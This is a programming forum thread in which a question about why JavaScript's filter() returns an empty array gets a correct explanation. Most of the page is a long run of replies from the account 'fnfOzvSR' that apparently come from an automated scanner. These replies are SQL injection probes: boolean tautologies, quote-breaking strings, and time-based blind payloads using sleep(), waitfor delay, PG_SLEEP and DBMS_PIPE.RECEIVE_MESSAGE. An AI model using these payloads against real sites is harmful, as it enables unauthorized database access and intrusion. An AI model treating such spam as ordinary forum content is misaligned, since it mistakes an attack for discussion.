Subham Mitra

Subham Mitra started this conversation 6 months ago.

Why Does `filter()` Return an Empty Array in JavaScript?

I’m using filter() to remove certain elements from an array, but the function keeps returning an empty array. Here’s what I have:

const numbers = [1, 2, 3, 4, 5];
const result = numbers.filter(num => num > 10);
console.log(result); // []

Shubham Chopra

Posted 6 months ago

The reason your filter() method is returning an empty array is due to the condition you've applied inside the callback function. The filter() method creates a new array with all elements that pass the test provided by the function. In your case:

const numbers = [1, 2, 3, 4, 5];
const result = numbers.filter(num => num > 10);
console.log(result); // []

Here, you're filtering elements that are greater than 10. However, none of the elements in the numbers array (which contains [1, 2, 3, 4, 5]) are greater than 10, so no elements pass the test, and filter() returns an empty array [].

To fix this, you need to adjust the condition to something relevant to the data. For example, if you want numbers greater than 3:

const result = numbers.filter(num => num > 3);
console.log(result); // [4, 5]

In this case, the numbers 4 and 5 satisfy the condition and are included in the filtered result.

Key Points:

  • The filter() method only returns elements that pass the condition in the callback function.
  • If no elements satisfy the condition (like in your example where none of the numbers are greater than 10), it returns an empty array.

If you are still seeing an empty array after updating the condition, make sure the array and condition are correctly set up.

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

-1 OR 2+155-155-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1 OR 3+155-155-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1 OR 2+867-867-1=0+0+0+1

fnfOzvSR

Posted 6 months ago

-1 OR 3+867-867-1=0+0+0+1

fnfOzvSR

Posted 6 months ago

-1' OR 2+557-557-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1' OR 3+557-557-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1' OR 2+453-453-1=0+0+0+1 or 'hSjMFz90'='

fnfOzvSR

Posted 6 months ago

-1' OR 3+453-453-1=0+0+0+1 or 'hSjMFz90'='

fnfOzvSR

Posted 6 months ago

-1" OR 2+591-591-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1" OR 3+591-591-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

555*if(now()=sysdate(),sleep(15),0)

fnfOzvSR

Posted 6 months ago

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

fnfOzvSR

Posted 6 months ago

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

fnfOzvSR

Posted 6 months ago

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

fnfOzvSR

Posted 6 months ago

555-1; waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

555-1); waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

555-1 waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

555kX5QUqFq'; waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

555-1 OR 745=(SELECT 745 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555-1) OR 962=(SELECT 962 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555-1)) OR 391=(SELECT 391 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

5555zbkj1QZ' OR 589=(SELECT 589 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555aXiVXbK8') OR 935=(SELECT 935 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

5555Mtm2rd9')) OR 251=(SELECT 251 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

fnfOzvSR

Posted 6 months ago

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555'"

fnfOzvSR

Posted 6 months ago

@@0ZKdM

fnfOzvSR

Posted 6 months ago

555